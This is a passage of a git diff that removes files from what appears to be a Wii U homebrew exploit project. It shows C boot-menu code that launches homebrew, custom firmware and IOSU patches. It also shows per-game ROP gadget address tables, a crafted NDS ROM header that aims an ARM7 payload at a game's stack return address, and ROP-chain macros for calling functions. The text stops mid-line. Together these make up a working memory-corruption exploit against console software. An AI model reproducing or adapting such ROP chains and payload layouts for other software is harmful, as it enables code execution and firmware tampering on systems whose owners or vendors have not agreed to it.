&VPADRead); - - /* set up some variables */ - int launchmode = LAUNCH_SYSMENU; - unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF); - unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); - - nn_act_initialize(); - unsigned char slot = nn_act_getslotno(); - unsigned char defaultSlot = nn_act_getdefaultaccount(); - nn_act_finalize(); - - /* pre-menu button combinations which can be held on gamepad */ - int vpadError = -1; - VPADData vpad; - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) - { - if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU) - { - // iosuhax-less menu launch backup code - _SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0); - OSExitThread(0); - return 0; - } - else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL) - { - // original hbl loader payload - strcpy((void*)0xF5E70000,SD_HBL_PATH); - return 0x01800000; - } - else if((vpad.btns_d|vpad.btns_h) == VPAD_BUTTON_B) - { - launchmode = LAUNCH_VWII_SYSMENU; - goto do_launch_selection; - } - } - -//cbhc_menu_start: - void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); - void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); - - //prepare FS and SAVE API - FSInit(); - SAVEInit(); - SAVEInitSaveDir(slot); - FSAddClient(pClient, -1); - FSInitCmdBlock(pCmd); - - //check for autoboot file; if not found create one - int autoboot = -1; - int iFd = -1; - int i; - for(i = 0; i < DEFAULT_MAX; i++) - { - SAVEOpenFile(pClient, pCmd, slot, defOpts[i], "r", &iFd, -1); - if (iFd >= 0) - { - autoboot = i; - FSCloseFile(pClient, pCmd, iFd, -1); - break; - } - } - if(autoboot < 0) - { - autoboot = DEFAULT_DISABLED; - SAVEOpenFile(pClient, pCmd, slot, defOpts[DEFAULT_DISABLED], "w", &iFd, -1); - if (iFd >= 0) - FSCloseFile(pClient, pCmd, iFd, -1); - } - if(autoboot > 0) - launchmode = (autoboot - 1); - int cur_autoboot = autoboot; - - //fire up screens - OSScreenInit(); - int screen_buf0_size = OSScreenGetBufferSizeEx(0); - OSScreenSetBufferEx(0, (void*)(0xF4000000)); - OSScreenSetBufferEx(1, (void*)(0xF4000000 + screen_buf0_size)); - OSScreenEnable(1); - - char verInfStr[64]; - __os_snprintf(verInfStr,64,"%s (DS Title %08X)", verChar, dsvcid); - - //enable wiiu pro controller connection - WPADEnableURCC(1); - //hachihachi instantly disconnects wiimotes normally - KPADSetConnectCallback(0,NULL); - KPADSetConnectCallback(1,NULL); - KPADSetConnectCallback(2,NULL); - KPADSetConnectCallback(3,NULL); - char oriVol = WPADGetSpeakerVolume(); - //WPAD_SYNC_EVT=0 is button pressed - WPADSetSpeakerVolume(1); - WPADSetSyncDeviceCallback(WPADSetSpeakerVolume); - - //no autoboot, straight to menu - if(autoboot == DEFAULT_DISABLED) - goto cbhc_menu; - - //autoboot wait message - OSScreenClearBuffer(0); - OSScreenPutFont(0, 0, verInfStr); - OSScreenPutFont(0, 1, "Autobooting..."); - OSScreenFlipBuffers(); - - //garbage read - getButtonsDown(padscore_handle, vpad_handle); - //see if menu is requested - int loadMenu = 0; - int waitCnt = 40; - while(waitCnt--) - { - unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle); - - if((btnDown & VPAD_BUTTON_HOME) || WPADGetSpeakerVolume() == 0) - { - WPADSetSpeakerVolume(1); - loadMenu = 1; - break; - } - usleep(50000); - } - //no menu requested, autoboot - if(loadMenu == 0) - goto cbhc_menu_end; - - OSScreenClearBuffer(0); - OSScreenPutFont(0, 0, verInfStr); - OSScreenPutFont(0, 1, "Entering Menu..."); - OSScreenFlipBuffers(); - waitCnt = 30; - while(waitCnt--) - { - getButtonsDown(padscore_handle, vpad_handle); - usleep(50000); - } - -cbhc_menu: ; - int redraw = 1; - int PosX = 0; - int ListMax = 7; - int clickT = 0; - while(1) - { - unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle); - - if(WPADGetSpeakerVolume() == 0) - { - if(clickT == 0) - clickT = 8; - else - { - btnDown |= VPAD_BUTTON_A; - clickT = 0; - } - WPADSetSpeakerVolume(1); - } - else if(clickT) - { - clickT--; - if(clickT == 0) - btnDown |= VPAD_BUTTON_DOWN; - } - - if( btnDown & VPAD_BUTTON_DOWN ) - { - if(PosX+1 == ListMax) - PosX = 0; - else - PosX++; - redraw = 1; - } - - if( btnDown & VPAD_BUTTON_UP ) - { - if( PosX <= 0 ) - PosX = (ListMax-1); - else - PosX--; - redraw = 1; - } - - if( btnDown & VPAD_BUTTON_A ) - { - if(PosX == 6) - { - cur_autoboot++; - if(cur_autoboot == DEFAULT_MAX) - cur_autoboot = DEFAULT_DISABLED; - redraw = 1; - } - else - { - launchmode = PosX; - break; - } - } - - if(redraw) - { - OSScreenClearBuffer(0); - OSScreenPutFont(0, 0, verInfStr); - char printStr[64]; - __os_snprintf(printStr,64,"%c Boot System Menu", 0 == PosX ? '>' : ' '); - OSScreenPutFont(0, 1, printStr); - __os_snprintf(printStr,64,"%c Boot Homebrew Launcher", 1 == PosX ? '>' : ' '); - OSScreenPutFont(0, 2, printStr); - __os_snprintf(printStr,64,"%c Boot Mocha CFW", 2 == PosX ? '>' : ' '); - OSScreenPutFont(0, 3, printStr); - __os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 3 == PosX ? '>' : ' '); - OSScreenPutFont(0, 4, printStr); - __os_snprintf(printStr,64,"%c Boot vWii System Menu", 4 == PosX ? '>' : ' '); - OSScreenPutFont(0, 5, printStr); - __os_snprintf(printStr,64,"%c Boot vWii Homebrew Channel", 5 == PosX ? '>' : ' '); - OSScreenPutFont(0, 6, printStr); - __os_snprintf(printStr,64,"%c Autoboot: %s", 6 == PosX ? '>' : ' ', bootOpts[cur_autoboot]); - OSScreenPutFont(0, 7, printStr); - - OSScreenFlipBuffers(); - redraw = 0; - } - usleep(50000); - } - OSScreenClearBuffer(0); - OSScreenFlipBuffers(); - usleep(50000); - - //regular menu end, save settings, clean up and launch selection -cbhc_menu_end: ; - if(cur_autoboot != autoboot) - SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1); - - SAVEFlushQuota(pClient, pCmd, slot, -1); - FSDelClient(pClient); - SAVEShutdown(); - FSShutdown(); - - MEMFreeToDefaultHeap(pClient); - MEMFreeToDefaultHeap(pCmd); - - OSScreenClearBuffer(0); - OSScreenFlipBuffers(); - - WPADSetSpeakerVolume(oriVol); - -do_launch_selection: ; - KPADShutdown(); - - //store path to sd fw.img for arm_kernel - if(launchmode == LAUNCH_CFW_IMG) - { - strcpy((void*)0xF5E70000,"/vol/sdcard"); - DCStoreRange((void*)0xF5E70000,0x100); - } - - //do iosu patches - void (*patch_iosu)(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) = (void*)0x01804000; - patch_iosu(coreinit_handle, sysapp_handle, launchmode, 1); - - if(launchmode == LAUNCH_HBL) - { - strcpy((void*)0xF5E70000,SD_HBL_PATH); - return 0x01800000; - } - else if(launchmode == LAUNCH_MOCHA) - { - strcpy((void*)0xF5E70000,SD_MOCHA_PATH); - return 0x01800000; - } - else if(launchmode == LAUNCH_VWII_SYSMENU) - { - // vwii system menu bootup - memcpy((void*)0xF5E70000, &VWII_SYSMENU_TID, 8); - return 0x0180C000; - } - else if(launchmode == LAUNCH_VWII_HBC) - { - // vwii system menu bootup - memcpy((void*)0xF5E70000, &VWII_HBC_TID, 8); - return 0x0180C000; - } - - //sysmenu or cfw - if(launchmode == LAUNCH_CFW_IMG) - { - OSForceFullRelaunch(); - SYSLaunchMenu(); - } - else - { - if(defaultSlot) //normal menu boot - SYSLaunchMenu(); - else //show mii select - _SYSLaunchMenuWithCheckingAccount(slot); - } - OSExitThread(0); - return 0; -} - -/* General Input Code */ - -static unsigned int wpadToVpad(unsigned int buttons) -{ - unsigned int conv_buttons = 0; - - if(buttons & WPAD_BUTTON_LEFT) - conv_buttons |= VPAD_BUTTON_LEFT; - - if(buttons & WPAD_BUTTON_RIGHT) - conv_buttons |= VPAD_BUTTON_RIGHT; - - if(buttons & WPAD_BUTTON_DOWN) - conv_buttons |= VPAD_BUTTON_DOWN; - - if(buttons & WPAD_BUTTON_UP) - conv_buttons |= VPAD_BUTTON_UP; - - if(buttons & WPAD_BUTTON_PLUS) - conv_buttons |= VPAD_BUTTON_PLUS; - - if(buttons & WPAD_BUTTON_2) - conv_buttons |= VPAD_BUTTON_X; - - if(buttons & WPAD_BUTTON_1) - conv_buttons |= VPAD_BUTTON_Y; - - if(buttons & WPAD_BUTTON_B) - conv_buttons |= VPAD_BUTTON_B; - - if(buttons & WPAD_BUTTON_A) - conv_buttons |= VPAD_BUTTON_A; - - if(buttons & WPAD_BUTTON_MINUS) - conv_buttons |= VPAD_BUTTON_MINUS; - - if(buttons & WPAD_BUTTON_HOME) - conv_buttons |= VPAD_BUTTON_HOME; - - return conv_buttons; -} - -static unsigned int wpadClassicToVpad(unsigned int buttons) -{ - unsigned int conv_buttons = 0; - - if(buttons & WPAD_CLASSIC_BUTTON_LEFT) - conv_buttons |= VPAD_BUTTON_LEFT; - - if(buttons & WPAD_CLASSIC_BUTTON_RIGHT) - conv_buttons |= VPAD_BUTTON_RIGHT; - - if(buttons & WPAD_CLASSIC_BUTTON_DOWN) - conv_buttons |= VPAD_BUTTON_DOWN; - - if(buttons & WPAD_CLASSIC_BUTTON_UP) - conv_buttons |= VPAD_BUTTON_UP; - - if(buttons & WPAD_CLASSIC_BUTTON_PLUS) - conv_buttons |= VPAD_BUTTON_PLUS; - - if(buttons & WPAD_CLASSIC_BUTTON_X) - conv_buttons |= VPAD_BUTTON_X; - - if(buttons & WPAD_CLASSIC_BUTTON_Y) - conv_buttons |= VPAD_BUTTON_Y; - - if(buttons & WPAD_CLASSIC_BUTTON_B) - conv_buttons |= VPAD_BUTTON_B; - - if(buttons & WPAD_CLASSIC_BUTTON_A) - conv_buttons |= VPAD_BUTTON_A; - - if(buttons & WPAD_CLASSIC_BUTTON_MINUS) - conv_buttons |= VPAD_BUTTON_MINUS; - - if(buttons & WPAD_CLASSIC_BUTTON_HOME) - conv_buttons |= VPAD_BUTTON_HOME; - - if(buttons & WPAD_CLASSIC_BUTTON_ZR) - conv_buttons |= VPAD_BUTTON_ZR; - - if(buttons & WPAD_CLASSIC_BUTTON_ZL) - conv_buttons |= VPAD_BUTTON_ZL; - - if(buttons & WPAD_CLASSIC_BUTTON_R) - conv_buttons |= VPAD_BUTTON_R; - - if(buttons & WPAD_CLASSIC_BUTTON_L) - conv_buttons |= VPAD_BUTTON_L; - - return conv_buttons; -} - -static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle) -{ - int(*WPADProbe)(int chan, int * pad_type); - int(*KPADRead)(int chan, void * data, int size); - OSDynLoad_FindExport(padscore_handle, 0, "WPADProbe",&WPADProbe); - OSDynLoad_FindExport(padscore_handle, 0, "KPADRead",&KPADRead); - - unsigned int btnDown = 0; - - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); - - int vpadError = -1; - VPADData vpad; - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) - btnDown |= vpad.btns_d; - - int i; - for(i = 0; i < 4; i++) - { - int controller_type; - if(WPADProbe(i, &controller_type) != 0) - continue; - KPADData kpadData; - KPADRead(i, &kpadData, 1); - if(kpadData.device_type <= 1) - btnDown |= wpadToVpad(kpadData.btns_d); - else - btnDown |= wpadClassicToVpad(kpadData.classic.btns_d); - } - - return btnDown; -} diff --git a/dsrom/cbhc_menu/pad.h b/dsrom/cbhc_menu/pad.h deleted file mode 100644 index 95ac2c7..0000000 --- a/dsrom/cbhc_menu/pad.h +++ /dev/null @@ -1,127 +0,0 @@ - -#ifndef _PAD_H_ -#define _PAD_H_ - -typedef struct _KPADData -{ - unsigned int btns_h; - unsigned int btns_d; - unsigned int btns_r; - unsigned int unused_1[5]; - float pos_x; - float pos_y; - unsigned int unused_2[3]; - float angle_x; - float angle_y; - unsigned int unused_3[8]; - unsigned char device_type; - unsigned char wpad_error; - unsigned char pos_valid; - unsigned char unused_4[1]; - - union - { - struct - { - float stick_x; - float stick_y; - } nunchuck; - - struct - { - unsigned int btns_h; - unsigned int btns_d; - unsigned int btns_r; - float lstick_x; - float lstick_y; - float rstick_x; - float rstick_y; - float ltrigger; - float rtrigger; - } classic; - - unsigned int unused_6[20]; - }; - unsigned int unused_7[16]; -} KPADData; - -#define WPAD_BUTTON_LEFT 0x0001 -#define WPAD_BUTTON_RIGHT 0x0002 -#define WPAD_BUTTON_DOWN 0x0004 -#define WPAD_BUTTON_UP 0x0008 -#define WPAD_BUTTON_PLUS 0x0010 -#define WPAD_BUTTON_2 0x0100 -#define WPAD_BUTTON_1 0x0200 -#define WPAD_BUTTON_B 0x0400 -#define WPAD_BUTTON_A 0x0800 -#define WPAD_BUTTON_MINUS 0x1000 -#define WPAD_BUTTON_Z 0x2000 -#define WPAD_BUTTON_C 0x4000 -#define WPAD_BUTTON_HOME 0x8000 - -#define WPAD_CLASSIC_BUTTON_UP 0x0001 -#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 -#define WPAD_CLASSIC_BUTTON_ZR 0x0004 -#define WPAD_CLASSIC_BUTTON_X 0x0008 -#define WPAD_CLASSIC_BUTTON_A 0x0010 -#define WPAD_CLASSIC_BUTTON_Y 0x0020 -#define WPAD_CLASSIC_BUTTON_B 0x0040 -#define WPAD_CLASSIC_BUTTON_ZL 0x0080 -#define WPAD_CLASSIC_BUTTON_R 0x0200 -#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 -#define WPAD_CLASSIC_BUTTON_HOME 0x0800 -#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 -#define WPAD_CLASSIC_BUTTON_L 0x2000 -#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 -#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 - - - -typedef struct -{ - float x,y; -} Vec2D; - -typedef struct -{ - uint16_t x, y; /* Touch coordinates */ - uint16_t touched; /* 1 = Touched, 0 = Not touched */ - uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - uint32_t btns_h; /* Held buttons */ - uint32_t btns_d; /* Buttons that are pressed at that instant */ - uint32_t btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -#define VPAD_BUTTON_A 0x8000 -#define VPAD_BUTTON_B 0x4000 -#define VPAD_BUTTON_X 0x2000 -#define VPAD_BUTTON_Y 0x1000 -#define VPAD_BUTTON_LEFT 0x0800 -#define VPAD_BUTTON_RIGHT 0x0400 -#define VPAD_BUTTON_UP 0x0200 -#define VPAD_BUTTON_DOWN 0x0100 -#define VPAD_BUTTON_ZL 0x0080 -#define VPAD_BUTTON_ZR 0x0040 -#define VPAD_BUTTON_L 0x0020 -#define VPAD_BUTTON_R 0x0010 -#define VPAD_BUTTON_PLUS 0x0008 -#define VPAD_BUTTON_MINUS 0x0004 -#define VPAD_BUTTON_HOME 0x0002 -#define VPAD_BUTTON_SYNC 0x0001 - - -#endif diff --git a/dsrom/cbhc_menu/types.h b/dsrom/cbhc_menu/types.h deleted file mode 100644 index 828591e..0000000 --- a/dsrom/cbhc_menu/types.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#endif /* TYPES_H */ diff --git a/dsrom/dkjclimber_defs.s b/dsrom/dkjclimber_defs.s deleted file mode 100644 index 9156a59..0000000 --- a/dsrom/dkjclimber_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x107969A4-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8C938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x1643F200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022070C4) -BCTRL equ (RPX_OFFSET + 0x02206FFC) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3650) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A327C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA78) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021791A8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B84) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018910) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEA90) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4B0) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082F58) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057A10) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018998) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492E4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240F4) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02221A28) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E44) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022218D4) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CD0) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB24) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220D8C) -_START_EXIT equ (RPX_OFFSET + 0x02026944) diff --git a/dsrom/global.h b/dsrom/global.h deleted file mode 100644 index e0f8ac7..0000000 --- a/dsrom/global.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef _GLOBAL_H_ -#define _GLOBAL_H_ - -#define LAUNCH_SYSMENU 0 -#define LAUNCH_HBL 1 -#define LAUNCH_MOCHA 2 -#define LAUNCH_CFW_IMG 3 -#define LAUNCH_VWII_SYSMENU 4 -#define LAUNCH_VWII_HBC 5 - -#endif diff --git a/dsrom/guardiansigns_defs.s b/dsrom/guardiansigns_defs.s deleted file mode 100644 index aaacbba..0000000 --- a/dsrom/guardiansigns_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079C564-0xC8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C92938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16441D00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0200369C) -BCTRL equ (RPX_OFFSET + 0x020041D8) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020ABF88) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020ABB60) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001AF8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02181AC0) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02281624) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018A88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B73C8) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F610) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020882E0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205B0C8) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018B10) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02151BF4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202441C) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0222B2FC) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222B718) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222B1A8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006E2C) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FE74) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0222ADEC) -_START_EXIT equ (RPX_OFFSET + 0x02026544) diff --git a/dsrom/haxchi_cb.s b/dsrom/haxchi_cb.s deleted file mode 100644 index b5d968f..0000000 --- a/dsrom/haxchi_cb.s +++ /dev/null @@ -1,40 +0,0 @@ -.include "defines.s" -.create "rom.nds", 0 - -.nds - -.org 0x000 - .ascii "HAXCHI" ; Game Title - -.org 0x00C - .ascii "HAXX" ; Gamecode - .ascii "01" ; Makercode - .byte 0x00 ; Unitcode - -.org 0x020 - .word arm9_data ; ARM9 rom_offset - .word 0x2000800 ; ARM9 entry_address - .word 0x2000000 ; ARM9 ram_address - .word arm9_data_end - arm9_data ; ARM9 size - .word arm7_data ; ARM7 rom_offset - .word 0x2000000 ; ARM7 entry_address - .word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address - .word arm7_data_end - arm7_data ; ARM7 size - -.org 0x080 - .word total_size ; Total Used ROM size - .word 0x4000 ; ROM Header Size - -.org 0x8000 -arm9_data: - .incbin "haxchi_rop_cb.bin" -arm9_data_end: - -.align 0x1000 -arm7_data: - .incbin "haxchi_rop_hook.bin" -arm7_data_end: - -total_size: - -.Close diff --git a/dsrom/haxchi_rop_cb.s b/dsrom/haxchi_rop_cb.s deleted file mode 100644 index 25a12de..0000000 --- a/dsrom/haxchi_rop_cb.s +++ /dev/null @@ -1,281 +0,0 @@ -.include "coreinit.s" -.include "defines.s" - -; more useful definitions -HBL_LOADER_ADR equ (0x01800000) -IOSU_PATCHER_ADR equ (0x01804000) -CBHC_MENU_ADDR equ (0x01808000) -VWII_LOADER_ADDR equ (0x0180C000) - -NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) -NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) - -.macro set_sp,v - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word v ; r31 - .word 0xDEAD0001 ; garbage - .word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - .word 0xDEAD0001 ; garbage - .word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR -.endmacro - -.macro call_func,f,arg1,arg2,arg3,arg4 - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEADBABE ; r21 - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word 0xDEADBABE ; r24 - .word 0xDEADBABE ; r25 - .word 0xDEADBABE ; r26 - .word f ; r27 (ctr) - .word arg4 ; r28 (r6) - .word arg3 ; r29 (r5) - .word arg2 ; r30 (r4) - .word arg1 - 2 ; r31 (r3 - 2) - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR - .word 0xDEAD0008 ; garbage - .word 0xDEAD000C ; garbage - .word 0xDEAD0010 ; garbage - .word 0xDEAD0014 ; garbage - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - ; final sp is here - .word 0xDEADBABE ; garbage -.endmacro - -.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6 - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR - .word 0xDEAD0001 ; garbage - .word arg6 ; r21 (r8) - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word arg1 ; r24 (r3) - .word arg2 ; r25 (r4) - .word 0xDEADBABE ; r26 - .word arg3 ; r27 (r5) - .word arg4 ; r28 (r6) - .word arg5 ; r29 (r7) - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr) - .word 0xDEADBABE ; r31 - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL - .word 0xDEAD0001 ; garbage - .word 0xDEADBABE ; r21 - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word 0xDEADBABE ; r24 - .word 0xDEADBABE ; r25 - .word 0xDEADBABE ; r26 - .word f ; r27 (ctr) - .word arg4 ; r28 (r6) - .word arg3 ; r29 (r5) - .word arg2 ; r30 (r4) - .word arg1 - 2 ; r31 (r3 - 2) - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR - .word 0xDEAD0008 ; garbage - .word 0xDEAD000C ; garbage - .word 0xDEAD0010 ; garbage - .word 0xDEAD0014 ; garbage - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - ; final sp is here - .word 0xDEADBABE ; garbage -.endmacro - - -; hacked from arm7 ram offset (unsafe, game stack pointer) -.create 